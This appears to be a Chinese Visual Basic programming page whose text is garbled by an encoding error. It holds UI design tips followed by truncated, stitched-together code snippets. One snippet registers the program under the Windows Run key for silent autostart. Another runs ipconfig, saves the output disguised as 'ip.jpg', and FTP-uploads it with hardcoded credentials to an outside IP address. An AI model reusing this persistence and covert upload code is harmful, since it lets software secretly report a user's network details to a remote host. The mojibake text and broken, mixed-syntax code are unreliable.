vb±ê×¼£¨Ò»£©£ºÓû§½çÃæµÄÉè¼Æ
·½çÃæÉè¼Æ±ØÐë±£³ÖÒ»ÖÂ
·Á½¸ö³ÌÐòÖ®¼äµÄÌØÐԾ߱¸¹²ÐÔ
·ºÍwindowsÓ¦ÓóÌÐòµÄ¿ì½Ý¼üÊÇÒ»ÖµÄ
·±à³ÌÔÔò
·Îª´°Ì帳ÓèͳһµÄÍâ¹ÛºÍÐÐÎªÌØÐÔ
·Èç¹û´°ÌåµÄ´óС¸Ä±äʱ£¬Ëü²»¸Ä±äÆäÄÚÈݵĴóС£¬ÄÇô±ß¿ò¾Í²»Ó¦¸ÃËõ·Å
·fixed dialog ´øÓй̶¨±ß¿òµÄ´°Ìå¿ÉÒÔ£¨²¢Ó¦¸Ã£©ÓµÓÐÒ»¸ö±êÌâÀ¸£¬²¢ÇÒ¿ÉÒÔÓÐÒ»¸ö¿Ø¼þ²Ëµ¥¿ò
·none ûÓб߿òºÍ±êÌâÀ¸£¨Ê¹ÓõÄÇé¿ö¼«ÉÙ£©
·fixed single ¿ÉÒÔ×îС»¯ºÍ×î´ó»¯
·sizable ÓÃÓÚËõ·Å´°ÌåÖеÄÄÚÈÝ£¨Õâ¸ö´°ÌåʹÓõÄʱºòÒªÌØ±ð×¢Òâ×î´ó»¯Ê±ºòµÄºÜ´óµÄ»ÒÉ«ÇøÓòÎÊÌ⣩
·¹Ì¶¨¹¤¾ß´°¿ÚºÍ¿ÉËõ·Å¹¤¾ß´°¿Ú£¨²»»á¾³£Ê¹Ó㩱êÌâÀ¸ºÍ±êÌâÀ¸µÄÎı¾±ÈÆÕͨµÄ´°¿Ú¸üϸ
·Ê¹¿Ø¼þ¾ß±¸±ê×¼Íâ¹Û
·Ê¹Îı¾¿òºÍÆäËû“µ¥Ðпؼþ”µÄ¸ß¶ÈÓë±ê×¼×éºÏ¿òÏàͬ
·Ñ¡¶¨Ò»¸ö×éºÏ¿ò£¬È»ºóÀ©´óÑ¡Ôñ·¶Î§ÒÔ±ã°üÀ¨ËùÓÐÎı¾¿ò
·²»ÒªÏòÓû§Òþ²Ø°´Å¥£¬¶øÓ¦¸ÃÈ¡ÏûÆä¼¤»î״̬£¬±íʾÕâʱÕâЩ°´Å¥²»ÄÜʹÓÃ
·Ôڹ涨µÄÇé¿öÏÂʹÓÃ×î¼Ñ½çÃæ×é¼þ
·Ìṩ±ãÓÚÀí½âºÍʹÓõIJ˵¥
·¾¡¿ÉÄÜʹÓÃϵͳÑÕÉ«
Ïà¹ØÎĵµ£º
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const a& = -1
Private Const b& = &H1
Private Const c& = &H2
Priva ......
'******************************************************************************************
'* ÐèҪעÒâµÄÎÊÌâ *
'******************************************************************************************
'1.INIÎļþµÄ· ......
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EX ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
È«Ãæ¿ØÖÆ Excel
Ê×ÏÈ´´½¨ Excel ¶ÔÏó£¬Ê¹ÓÃComObj:
Dim ExcelID as Excel.Application
Set ExcelID as new Excel.Application
1) ÏÔʾµ±Ç°´°¿Ú£º
ExcelID.Visible := True;
2) ¸ü¸Ä Excel ±êÌâÀ¸£º
ExcelID.Caption := 'Ó¦ÓóÌÐòµ÷Óà Microsoft Excel';
3) Ìí¼Óй¤×÷²¾£º
ExcelID.WorkBooks.Add;
4) ´ò¿ªÒÑ´æÔÚµ ......